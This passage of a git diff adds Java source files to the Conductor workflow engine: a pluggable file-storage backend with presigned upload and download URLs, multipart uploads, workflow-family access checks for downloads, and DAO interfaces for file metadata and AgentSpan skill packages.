    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Duration; +import java.util.List; + +import org.conductoross.conductor.model.file.StorageType; + +/** + * Pluggable storage backend abstraction. Each implementation encapsulates a backend-specific + * mechanism for granting temporary access to content (presigned URL, SAS token, signed URL, or + * direct path) and for reading storage metadata. Supports Bring Your Own Storage via custom + * implementations. + */ +public interface FileStorage { + + /** Returns the {@link StorageType} this backend handles; stamped onto file metadata. */ + StorageType getStorageType(); + + /** + * Returns a fresh presigned upload URL (or backend-equivalent) for {@code storagePath}. Callers + * must not cache — a new URL is generated on every call. + */ + String generateUploadUrl(String storagePath, Duration expiration); + + /** Returns a fresh presigned download URL (or backend-equivalent) for {@code storagePath}. */ + String generateDownloadUrl(String storagePath, Duration expiration); + + /** + * Reads existence, content hash, and actual byte size from the storage backend in a single + * call. Returns {@code null} if the object is not present. {@code contentHash} is {@code null} + * for backends that do not expose one (e.g. local). + */ + StorageFileInfo getStorageFileInfo(String storagePath); + + /** + * Starts a backend-native multipart upload. Returns the backend's upload ID (S3 {@code + * UploadId}, GCS resumable session ID, etc.). + */ + String initiateMultipartUpload(String storagePath); + + /** + * Returns a presigned URL for a single part of an S3 multipart upload. Not called for GCS/Azure + * — those reuse the resumable URL from {@link #initiateMultipartUpload}. + * + * @param partNumber 1-based part number + */ + String generatePartUploadUrl( + String storagePath, String uploadId, int partNumber, Duration expiration); + + /** + * Finalizes a multipart upload. + * + * @param partETags ordered list of ETags returned by each part upload + */ + void completeMultipartUpload(String storagePath, String uploadId, List partETags); +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageProperties.java b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageProperties.java new file mode 100644 index 0000000..db134c3 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageProperties.java @@ -0,0 +1,62 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +/** + * Configuration for the server-side file-storage feature. Bound to {@code + * conductor.file-storage.*}. When {@code enabled=false}, no file-storage beans are created and the + * {@code /api/files} endpoints return 404. + */ +@ConfigurationProperties("conductor.file-storage") +public class FileStorageProperties { + + /** Feature flag — entire file-storage feature gated on this. Default: {@code false}. */ + private boolean enabled = false; + + /** Storage backend selector: {@code local}, {@code s3}, {@code azure-blob}, {@code gcs}. */ + private String type = "local"; + + /** Presigned URL TTL. Default: 60 seconds. */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration signedUrlExpiration = Duration.ofSeconds(60); + + public boolean isEnabled() { + return enabled; + } + + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + public Duration getSignedUrlExpiration() { + return signedUrlExpiration; + } + + public void setSignedUrlExpiration(Duration signedUrlExpiration) { + this.signedUrlExpiration = signedUrlExpiration; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageService.java b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageService.java new file mode 100644 index 0000000..73d5cc9 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageService.java @@ -0,0 +1,94 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.util.List; + +import org.conductoross.conductor.model.file.*; +import org.springframework.validation.annotation.Validated; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +/** + * Server-side service layer for file storage. Coordinates {@link FileStorage} (backend transfer) + * with {@code FileMetadataDAO} (persistence). Consumed by the REST controller. + * + *

    All methods take the bare {@code fileId} (no prefix); responses carry the prefixed {@code + * fileHandleId}. + */ +@Validated +public interface FileStorageService { + + /** + * Validates size, generates a new {@code fileId}, persists a {@code FileModel} with status + * {@code UPLOADING}, and returns the response carrying a fresh presigned upload URL. + * + *

    {@code workflowId} in the request is required. Throws {@link IllegalArgumentException} if + * blank. + */ + FileUploadResponse createFile(@NotNull @Valid FileUploadRequest request); + + /** Issues a fresh presigned upload URL for retry when the original has expired. */ + FileUploadUrlResponse getUploadUrl(@NotEmpty String fileId); + + /** + * Verifies the object is present on the backend, reads and persists {@code contentHash} and + * actual size, transitions the record to {@code UPLOADED}. + */ + FileUploadCompleteResponse confirmUpload(@NotEmpty String fileId); + + /** + * Issues a presigned download URL. Requires status {@code UPLOADED}. + * + *

    Access control: + * + *

      + *
    • The file must have a {@code workflowId} (files without one are forbidden). + *
    • The caller's {@code workflowId} must belong to the same workflow family as the file's + * owner (self, ancestors, or descendants — no depth limit). + *
    + * + * @throws com.netflix.conductor.core.exception.AccessForbiddenException if the caller is not in + * the file's workflow family + */ + FileDownloadUrlResponse getDownloadUrl(@NotEmpty String fileId, @NotNull String workflowId); + + /** Returns full file metadata. The server-internal {@code storagePath} is not exposed. */ + FileHandle getFileMetadata(@NotEmpty String fileId); + + /** + * Starts a backend-native multipart upload. Returns the backend upload ID, recommended part + * size, and — for GCS/Azure — a resumable session URL. For S3 the response URL is {@code null} + * and per-part URLs are obtained via {@link #getPartUploadUrl}. + */ + MultipartInitResponse initiateMultipartUpload(@NotEmpty String fileId); + + /** + * Issues a presigned URL for a single S3 multipart part. Not used for GCS/Azure. + * + * @param partNumber 1-based part number + */ + FileUploadUrlResponse getPartUploadUrl( + @NotEmpty String fileId, @NotEmpty String uploadId, int partNumber); + + /** + * Finalizes a multipart upload and transitions the record to {@code UPLOADED}, persisting the + * backend-reported {@code contentHash} and actual size. + * + * @param partETags ordered ETags (or backend equivalents) from each part upload + */ + FileUploadCompleteResponse completeMultipartUpload( + @NotEmpty String fileId, @NotEmpty String uploadId, @NotNull List partETags); +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageServiceImpl.java b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageServiceImpl.java new file mode 100644 index 0000000..fa94627 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorageServiceImpl.java @@ -0,0 +1,218 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.time.Instant; +import java.util.List; +import java.util.Set; +import java.util.UUID; + +import org.checkerframework.checker.nullness.qual.NonNull; +import org.conductoross.conductor.core.storage.converter.FileModelConverter; +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.*; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.core.exception.AccessForbiddenException; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; + +/** + * Default {@link FileStorageService} implementation. Activated when {@code + * conductor.file-storage.enabled=true}. + */ +@Service +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +@EnableConfigurationProperties(FileStorageProperties.class) +public class FileStorageServiceImpl implements FileStorageService { + + private static final String STORAGE_PATH = "conductor/%s/%s"; + + private final FileStorage fileStorage; + private final FileMetadataDAO fileMetadataDAO; + private final FileStorageProperties properties; + private final WorkflowFamilyResolver workflowFamilyResolver; + + public FileStorageServiceImpl( + FileStorage fileStorage, + FileMetadataDAO fileMetadataDAO, + FileStorageProperties properties, + WorkflowFamilyResolver workflowFamilyResolver) { + this.fileStorage = fileStorage; + this.fileMetadataDAO = fileMetadataDAO; + this.properties = properties; + this.workflowFamilyResolver = workflowFamilyResolver; + } + + @Override + public FileUploadResponse createFile(FileUploadRequest request) { + if (request.getWorkflowId() == null || request.getWorkflowId().isBlank()) { + throw new IllegalArgumentException("workflowId is required"); + } + + String fileId = UUID.randomUUID().toString(); + String storagePath = STORAGE_PATH.formatted(request.getWorkflowId(), fileId); + + FileModel model = + FileModelConverter.toFileModel( + request, fileId, storagePath, fileStorage.getStorageType()); + fileMetadataDAO.createFileMetadata(model); + + String uploadUrl = + fileStorage.generateUploadUrl(storagePath, properties.getSignedUrlExpiration()); + long expiresAt = Instant.now().plus(properties.getSignedUrlExpiration()).toEpochMilli(); + + return FileModelConverter.toFileUploadResponse(model, uploadUrl, expiresAt); + } + + @Override + public FileUploadUrlResponse getUploadUrl(String fileId) { + FileModel model = getFileModelOrThrow(fileId); + String uploadUrl = + fileStorage.generateUploadUrl( + model.getStoragePath(), properties.getSignedUrlExpiration()); + long expiresAt = Instant.now().plus(properties.getSignedUrlExpiration()).toEpochMilli(); + + FileUploadUrlResponse response = new FileUploadUrlResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setUploadUrl(uploadUrl); + response.setExpiresAt(expiresAt); + return response; + } + + @Override + public FileUploadCompleteResponse confirmUpload(String fileId) { + FileModel model = getFileModelOrThrow(fileId); + if (model.getUploadStatus() == FileUploadStatus.UPLOADED) { + throw new ConflictException("File already uploaded: " + fileId); + } + + StorageFileInfo info = fileStorage.getStorageFileInfo(model.getStoragePath()); + if (info == null || !info.isExists()) { + throw new NonTransientException("File not found on storage backend: " + fileId); + } + + fileMetadataDAO.updateUploadComplete( + fileId, FileUploadStatus.UPLOADED, info.getContentHash(), info.getContentSize()); + + FileUploadCompleteResponse response = new FileUploadCompleteResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setUploadStatus(FileUploadStatus.UPLOADED); + response.setContentHash(info.getContentHash()); + return response; + } + + @Override + public FileDownloadUrlResponse getDownloadUrl(String fileId, String workflowId) { + FileModel model = getFileModel(fileId, workflowId); + String downloadUrl = + fileStorage.generateDownloadUrl( + model.getStoragePath(), properties.getSignedUrlExpiration()); + long expiresAt = Instant.now().plus(properties.getSignedUrlExpiration()).toEpochMilli(); + + FileDownloadUrlResponse response = new FileDownloadUrlResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setDownloadUrl(downloadUrl); + response.setExpiresAt(expiresAt); + return response; + } + + @Override + public FileHandle getFileMetadata(String fileId) { + FileModel model = getFileModelOrThrow(fileId); + return FileModelConverter.toFileHandle(model); + } + + @Override + public MultipartInitResponse initiateMultipartUpload(String fileId) { + FileModel model = getFileModelOrThrow(fileId); + String uploadId = fileStorage.initiateMultipartUpload(model.getStoragePath()); + + MultipartInitResponse response = new MultipartInitResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setUploadId(uploadId); + return response; + } + + @Override + public FileUploadUrlResponse getPartUploadUrl(String fileId, String uploadId, int partNumber) { + FileModel model = getFileModelOrThrow(fileId); + String url = + fileStorage.generatePartUploadUrl( + model.getStoragePath(), + uploadId, + partNumber, + properties.getSignedUrlExpiration()); + long expiresAt = Instant.now().plus(properties.getSignedUrlExpiration()).toEpochMilli(); + + FileUploadUrlResponse response = new FileUploadUrlResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setUploadUrl(url); + response.setExpiresAt(expiresAt); + return response; + } + + @Override + public FileUploadCompleteResponse completeMultipartUpload( + String fileId, String uploadId, List partETags) { + FileModel model = getFileModelOrThrow(fileId); + fileStorage.completeMultipartUpload(model.getStoragePath(), uploadId, partETags); + + StorageFileInfo info = fileStorage.getStorageFileInfo(model.getStoragePath()); + if (info == null || !info.isExists()) { + throw new NonTransientException( + "File not found on storage after multipart complete: " + fileId); + } + + fileMetadataDAO.updateUploadComplete( + fileId, FileUploadStatus.UPLOADED, info.getContentHash(), info.getContentSize()); + + FileUploadCompleteResponse response = new FileUploadCompleteResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(fileId)); + response.setUploadStatus(FileUploadStatus.UPLOADED); + response.setContentHash(info.getContentHash()); + return response; + } + + private @NonNull FileModel getFileModel(String fileId, String workflowId) { + FileModel model = getFileModelOrThrow(fileId); + if (model.getUploadStatus() != FileUploadStatus.UPLOADED) { + throw new IllegalArgumentException( + "File not yet uploaded: " + fileId + ", status=" + model.getUploadStatus()); + } + + if (model.getWorkflowId() == null || model.getWorkflowId().isBlank()) { + throw new AccessForbiddenException("File has no workflowId: " + fileId); + } + + Set family = workflowFamilyResolver.getFamily(workflowId); + if (!family.contains(model.getWorkflowId())) { + throw new AccessForbiddenException( + "workflowId %s is not in the workflow family of file %s" + .formatted(workflowId, fileId)); + } + return model; + } + + private FileModel getFileModelOrThrow(String fileId) { + FileModel model = fileMetadataDAO.getFileMetadata(fileId); + if (model == null) { + throw new NotFoundException("File not found: " + fileId); + } + return model; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/StorageFileInfo.java b/core/src/main/java/org/conductoross/conductor/core/storage/StorageFileInfo.java new file mode 100644 index 0000000..45ae13e --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/StorageFileInfo.java @@ -0,0 +1,48 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +/** + * Value object returned by {@link FileStorage#getStorageFileInfo(String)}. Carries existence plus + * backend-reported content hash and actual byte size. + */ +public class StorageFileInfo { + + private boolean exists; + private String contentHash; + private long contentSize; + + public boolean isExists() { + return exists; + } + + public void setExists(boolean exists) { + this.exists = exists; + } + + public String getContentHash() { + return contentHash; + } + + public void setContentHash(String contentHash) { + this.contentHash = contentHash; + } + + public long getContentSize() { + return contentSize; + } + + public void setContentSize(long contentSize) { + this.contentSize = contentSize; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolver.java b/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolver.java new file mode 100644 index 0000000..e41a5e1 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolver.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.util.Set; + +/** + * Resolves the full family tree of a workflow: self, all ancestors (parentWorkflowId chain), and + * all descendants (recursive children), with no depth limit. + * + *

    The given workflowId is always included in the returned set — a workflow is, by definition, a + * member of its own family. This holds even when the workflow record has been archived from the + * active execution DAO, which would otherwise prevent a long-running workflow from accessing files + * it owns once its record ages out. + */ +public interface WorkflowFamilyResolver { + + /** + * Returns the family of the given workflowId. + * + *

    The result always contains {@code workflowId} itself (when non-null). Ancestors and + * descendants are added when the underlying execution DAO can resolve them; an unknown + * workflowId still resolves to a single-element set containing only itself. + * + * @return a non-null set; empty only when {@code workflowId} is {@code null} + */ + Set getFamily(String workflowId); +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverImpl.java b/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverImpl.java new file mode 100644 index 0000000..36d8444 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverImpl.java @@ -0,0 +1,76 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage; + +import java.util.HashSet; +import java.util.Set; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** Default {@link WorkflowFamilyResolver} — the access oracle for file-download scoping. */ +@Component +@ConditionalOnProperty(name = "conductor.file-storage.enabled", havingValue = "true") +public class WorkflowFamilyResolverImpl implements WorkflowFamilyResolver { + + private final ExecutionDAO executionDAO; + + public WorkflowFamilyResolverImpl(ExecutionDAO executionDAO) { + this.executionDAO = executionDAO; + } + + /** + * {@inheritDoc} + * + *

    Self is added before any DAO lookup so an archived workflow never loses access to files it + * owns. + */ + @Override + public Set getFamily(String workflowId) { + Set family = new HashSet<>(); + if (workflowId == null) return family; + family.add(workflowId); + collectAncestors(workflowId, family); + collectDescendants(workflowId, family); + return family; + } + + /** Walks the parent chain. Stops at the first missing record — its parent pointer is gone. */ + private void collectAncestors(String workflowId, Set visited) { + WorkflowModel workflow = executionDAO.getWorkflow(workflowId, false); + if (workflow == null) return; + String parentId = workflow.getParentWorkflowId(); + if (StringUtils.isNotBlank(parentId) && visited.add(parentId)) { + collectAncestors(parentId, visited); + } + } + + /** + * Walks SUB_WORKFLOW children. {@code includeTasks=true} so child ids are loaded in one call. + */ + private void collectDescendants(String workflowId, Set visited) { + WorkflowModel workflow = executionDAO.getWorkflow(workflowId, true); + if (workflow == null) return; + for (TaskModel task : workflow.getTasks()) { + String childId = task.getSubWorkflowId(); + if (StringUtils.isNotBlank(childId) && visited.add(childId)) { + collectDescendants(childId, visited); + } + } + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/converter/FileModelConverter.java b/core/src/main/java/org/conductoross/conductor/core/storage/converter/FileModelConverter.java new file mode 100644 index 0000000..851f504 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/converter/FileModelConverter.java @@ -0,0 +1,71 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.storage.converter; + +import java.time.Instant; + +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.*; + +/** + * Converter between {@link FileModel} (bare {@code fileId}, {@code Instant} timestamps) and + * file-storage DTOs ({@code fileHandleId}, epoch-millis timestamps). Isolates the {@code fileId} ↔ + * {@code fileHandleId} translation via {@link FileIdToFileHandleIdConverter}. + */ +public class FileModelConverter { + + public static FileModel toFileModel( + FileUploadRequest request, String fileId, String storagePath, StorageType storageType) { + FileModel model = new FileModel(); + model.setFileId(fileId); + model.setFileName(request.getFileName()); + model.setContentType(request.getContentType()); + model.setStorageType(storageType); + model.setStoragePath(storagePath); + model.setUploadStatus(FileUploadStatus.UPLOADING); + model.setWorkflowId(request.getWorkflowId()); + model.setTaskId(request.getTaskId()); + model.setCreatedAt(Instant.now()); + model.setUpdatedAt(Instant.now()); + return model; + } + + public static FileHandle toFileHandle(FileModel model) { + FileHandle handle = new FileHandle(); + handle.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(model.getFileId())); + handle.setFileName(model.getFileName()); + handle.setContentType(model.getContentType()); + handle.setContentHash(model.getStorageContentHash()); + handle.setStorageType(model.getStorageType()); + handle.setUploadStatus(model.getUploadStatus()); + handle.setWorkflowId(model.getWorkflowId()); + handle.setTaskId(model.getTaskId()); + handle.setCreatedAt(model.getCreatedAt().toEpochMilli()); + handle.setUpdatedAt(model.getUpdatedAt().toEpochMilli()); + return handle; + } + + public static FileUploadResponse toFileUploadResponse( + FileModel model, String uploadUrl, long uploadUrlExpiresAt) { + FileUploadResponse response = new FileUploadResponse(); + response.setFileHandleId(FileIdToFileHandleIdConverter.toFileHandleId(model.getFileId())); + response.setFileName(model.getFileName()); + response.setContentType(model.getContentType()); + response.setStorageType(model.getStorageType()); + response.setUploadStatus(model.getUploadStatus()); + response.setUploadUrl(uploadUrl); + response.setUploadUrlExpiresAt(uploadUrlExpiresAt); + response.setCreatedAt(model.getCreatedAt().toEpochMilli()); + return response; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/dao/FileMetadataDAO.java b/core/src/main/java/org/conductoross/conductor/dao/FileMetadataDAO.java new file mode 100644 index 0000000..982493e --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/dao/FileMetadataDAO.java @@ -0,0 +1,57 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.dao; + +import java.util.List; + +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; + +/** + * Persistence for {@link FileModel}. Implemented per supported DB (Postgres, MySQL, SQLite, Redis, + * Cassandra). All methods take the bare {@code fileId} — the DAO never sees the prefixed {@code + * fileHandleId}. + */ +public interface FileMetadataDAO { + + /** Inserts a new record. Typical initial status is {@code UPLOADING}. */ + void createFileMetadata(FileModel fileModel); + + /** Returns the record or {@code null} when not found. */ + FileModel getFileMetadata(String fileId); + + /** + * Updates only the upload status. Used by the background audit to mark stale {@code UPLOADING} + * records as {@code FAILED}. For the normal completion path use {@link #updateUploadComplete}. + */ + void updateUploadStatus(String fileId, FileUploadStatus status); + + /** + * Atomic transition to {@code UPLOADED} with storage-reported {@code contentHash} and {@code + * contentSize}. {@code contentHash} may be {@code null} for backends that do not expose one. + */ + void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize); + + /** + * Lookup for files owned by a workflow (files supplied as workflow input). Used for audit and + * storage-usage reporting. + */ + List getFilesByWorkflowId(String workflowId); + + /** + * Lookup for files produced by a task (files in task output). Used for audit and storage-usage + * reporting. + */ + List getFilesByTaskId(String taskId); +} diff --git a/core/src/main/java/org/conductoross/conductor/dao/SkillMetadataDAO.java b/core/src/main/java/org/conductoross/conductor/dao/SkillMetadataDAO.java new file mode 100644 index 0000000..ac9878c --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/dao/SkillMetadataDAO.java @@ -0,0 +1,69 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.dao; + +import java.util.List; +import java.util.Optional; + +/** + * Persistence for AgentSpan skill metadata: the per-version manifest plus a per-skill + * "latest" pointer. Skill package bytes are stored separately via {@link SkillPackageDAO}. + * + *

    This DAO is the Conductor-native backing store for AgentSpan's {@code + * dev.agentspan.runtime.spi.SkillMetadataDAO} SPI; an adapter in the {@code conductor-ai} module + * bridges the two so skills persist through whichever Conductor backend is configured (Postgres, + * MySQL, SQLite, Redis). It deliberately stores the manifest as an opaque JSON document ({@code + * detailJson}) so the persistence layer carries no dependency on AgentSpan model types. + * + *

    All operations are scoped by {@code ownerId}. Authorization (whether the caller may read a + * given skill) is the caller's concern, not this DAO's. Implemented per supported DB. + */ +public interface SkillMetadataDAO { + + /** + * Inserts or replaces the metadata for a single skill version (keyed by {@code ownerId + name + + * version}). When {@code makeLatest} is {@code true}, this version becomes the skill's recorded + * latest and any previously-latest version for the same {@code (ownerId, name)} is cleared. + * + * @param detailJson the serialized skill manifest/detail document + * @param createdAt epoch milliseconds the version was first created (may be {@code null}) + * @param updatedAt epoch milliseconds of this write (may be {@code null}) + */ + void save( + String ownerId, + String name, + String version, + boolean makeLatest, + String detailJson, + Long createdAt, + Long updatedAt); + + /** Exact-version lookup; returns the stored {@code detailJson} or empty when absent. */ + Optional find(String ownerId, String name, String version); + + /** The recorded latest version string for a skill, if any. */ + Optional latestVersion(String ownerId, String name); + + /** The stored {@code detailJson} for every recorded version of a single skill (unordered). */ + List listVersions(String ownerId, String name); + + /** + * The stored {@code detailJson} for an owner's skills. When {@code allVersions} is {@code + * false}, returns only each skill's latest version; when {@code true}, returns every version of + * every skill. + */ + List list(String ownerId, boolean allVersions); + + /** Removes a single version and recomputes the skill's latest pointer when needed. */ + void delete(String ownerId, String name, String version); +} diff --git a/core/src/main/java/org/conductoross/conductor/dao/SkillPackageDAO.java b/core/src/main/java/org/conductoross/conductor/dao/SkillPackageDAO.java new file mode 100644 index 0000000..673c84d --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/dao/SkillPackageDAO.java @@ -0,0 +1,39 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.dao; + +/** + * Persistence for AgentSpan skill package bytes (the zipped {@code SKILL.md} package), + * addressed by an opaque {@code handle}. Skill metadata is stored separately via {@link + * SkillMetadataDAO}. + * + *

    This DAO is the Conductor-native backing store for AgentSpan's {@code + * dev.agentspan.runtime.spi.SkillPackageStore} SPI; an adapter in the {@code conductor-ai} module + * bridges the two. Implementations store the bytes through whichever Conductor backend is + * configured (Postgres, MySQL, SQLite, Redis). Bytes are persisted Base64-encoded so the value + * binds uniformly across all backends without per-dialect binary handling. + */ +public interface SkillPackageDAO { + + /** Stores (or overwrites) the package bytes for {@code handle}. */ + void put(String handle, byte[] data); + + /** Returns the package bytes for {@code handle}, or {@code null} when not found. */ + byte[] get(String handle); + + /** Returns {@code true} when a package exists for {@code handle}. */ + boolean exists(String handle); + + /** Deletes the package for {@code handle}. No-op when absent. */ + void delete(String handle); +} diff --git a/core/src/main/java/org/conductoross/conductor/model/FileModel.java b/core/src/main/java/org/conductoross/conductor/model/FileModel.java new file mode 100644 index 0000000..b050133 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/model/FileModel.java @@ -0,0 +1,161 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

